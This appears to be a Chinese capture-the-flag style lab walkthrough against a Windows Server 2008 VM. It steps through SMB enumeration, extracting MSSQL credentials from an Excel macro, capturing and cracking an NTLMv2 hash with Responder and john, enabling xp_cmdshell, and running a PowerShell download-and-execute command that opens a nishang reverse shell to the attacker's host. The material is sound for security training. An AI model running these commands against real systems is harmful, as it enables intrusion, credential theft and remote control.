网络安全——使用SMB服务漏洞结合NTLM中继进行渗透测试

综合渗透测试-使用SMB服务漏洞结合NTLM中继进行渗透测试

第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:

Kali Linux

Windows 2008

第二步,打开Kali Linux渗透机使用命令nmap -sV -sC -A 172.16.1.200扫描目标靶机,参数-sV可以检测服务端软件的版本信息,-sC可以根据扫描到的端口来调用默认脚本识别服务,-A参数OS识别,版本探测,脚本扫描和traceroute,扫描结果如下

139端口为NetBIOS服务、445端口属于SMB服务、1433端口为mssql服务、135和49152-49175端口为MSRPC服务,从1433端口的详细信息中发现操作系统最有可能为Windows Server 2008 R2,并找到主机名为QUERIER、域QUERIER.PYSeclab.com、DNS域QUERIER.PYSeclab.com可以发现目标机器存在MSSQL,SMB等服务,我们使用命令snmp-check 172.16.1.200检查一下目标服务器snmp服务是否存在,若存在则对后面的渗透提供非常大的帮助。

发现目标服务器中并不存在snmp服务,那么我们现在根据上面nmap的结果来进行渗透,使用命令smbmap -H 172.16.1.200尝试枚举一下目标的smb资源。

提示访问被拒绝。

第三步,尝试使用匿名用户去访问smb共享,具体操作为使用命令smbmap -H 172.16.1.200 -u anonymous,

发现这里的Weekly_Reports权限为只读状态,并不是系统自带的,所以我们对Weekly_Reports进行信息挖掘,根据前面nmap扫描到的信息中我们发现目标靶机启用了windows系统中默认存在的一个guest用户,使用smb工具尝试连接smb服务,指定用户名为guests。

发现目录中有一个xlsm文件,我们使用get命令把它下载到本地进行查看,

根据文件的后缀xlsm我们可以推测它是含有宏启动的,Excel在默认的情况下不会自动启用宏,那么既然我们知道该文件可能包含有宏指令,接下来我们就使用命令olevba “Currency Volume Report.xlsm”来对文件进行分析,

从上图的红框中我们可以发现里面的MSSQL连接字符串:

Username=accounting

Password=Pcwryjv$p10

Database=volume

第四步,使用命令msfconsole启动metasploit渗透测试平台,调用auxiliary/admin/mssql/mssql_sql尝试登录数据库,在终端中输入:

-- msf > use auxiliary/admin/mssql/mssql_sql

-- msf auxiliary(admin/mssql/mssql_sql)>set Password Pcwryjv$p10

-- msf auxiliary(admin/mssql/mssql_sql)>set RHOST 172.16.1.200

-- msf auxiliary(admin/mssql/mssql_sql)> set Username accounting

-- msf auxiliary(admin/mssql/mssql_sql)>set use_windows_authent true

-- msf auxiliary(admin/mssql/mssql_sql)>run

具体操作如下:

我们成功获取到了SQL Server的版本信息,但实践中我们发现使用该模块的效率是非常低下的,接下来我们使用一个方便渗透的工具集impacket中的工具mssqlclient继续我们的实验步骤。

第五步,使用命令mssqlclient.py [email protected] -windows-auth,密码为Pcwryjv$p10。通过工具mssqlclient登录到目标sqlserver中,

登录成功,使用命令enable_xp_cmdshell启动sqlserver的cmd命令执行模块

发现当前用户没有执行cmd的权限,因为我们这里的用户权限不够,尝试通过xp_dirtree存储过程获取运行mssql服务的用户NTLM的hash值,它的原理是,通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们,我们通过破解它的凭证在返回去登录MSSQL,得到高权限具体操作:使用命令responder -I eth0 -i 172.16.1.100,-I填入我们连接靶机的网络接口,-i填写渗透机的IP地址。

然后我们回到mssqlclient.py的命令行窗口中,执行命令xp_dirtree “\\172.16.1.100\test”,之后我们回到Responder观察监听到的信息。

将mssql-serv用户的hash值输出到mssql-serv.NTLMv2文件中,

切换路径至/usr/share/wordlists/目录下找到rockyou.txt.gz将其解压为txt文件

第六步,由于本环境中已经存在一个历史破解的该用户hash值,所以这里我们直接使用john进行破解会提示Loaded 1 password hash……实际上密码已经破解出来了,那么我们可以按照以下操作来查看破解的用户密码:使用命令john --wordlist=/usr/share/wordlists/rockyou.txt /root/mssql-serv.NTLMv2,然后使用命令john –show /root/mssql-serv.NTMLv2

按照以上的步骤可以得到用户名mssql-serv,密码$cartoon51。接下来我们使用获取到的凭证再次进行登录。

使用命令help查看以下帮助信息,

使用命令enable_xp_cmdshell启动命令执行cmdshell存储过程,并使用命令xp_cmdshell whoami查看当前用户的权限。

发现有命令执行的权限,接下来可以使用nishang的powershell项目里的反弹shell脚本,来将会话的shell返回到渗透机器中。

第七步,拷贝/root/nishang-master/Shells/Invoke-PowerShellTcp.ps1 /root/ReverseTcp.ps1

然后使用echo命令将以下语句输入到ReverseTcp.ps1的末尾。IP填入自己的渗透机IP,端口填入使用nc监听的端口。

第八步,下面我们需要在本地搭建一个HTTP服务,在/root目录下使用命令python3 -m http.server 80 ,python自带了一个SimpleHTTPServer库,就可以成功搭建一个HTTP服务器。

接下来在Kali渗透机使用rlwrap nc -lnvp 866来解决稍后的反弹shell中无法使用方向的键和删除键的问题。

最后我们让回到mssqlclient客户端,使用命令让靶机将ReverseTcp.ps1脚本下载到本地并执行,使用命令xp_cmdshell powershell IEX(New-Object Net.WebClient).DownloadString(\"http://172.16.1.100/ReverseTcp.ps1\")。

回到nc的客户端中,成功反弹会话,使用命令whoami查看当前用户的权限。

猜你喜欢

转载自blog.csdn.net/qq_48609816/article/details/125923129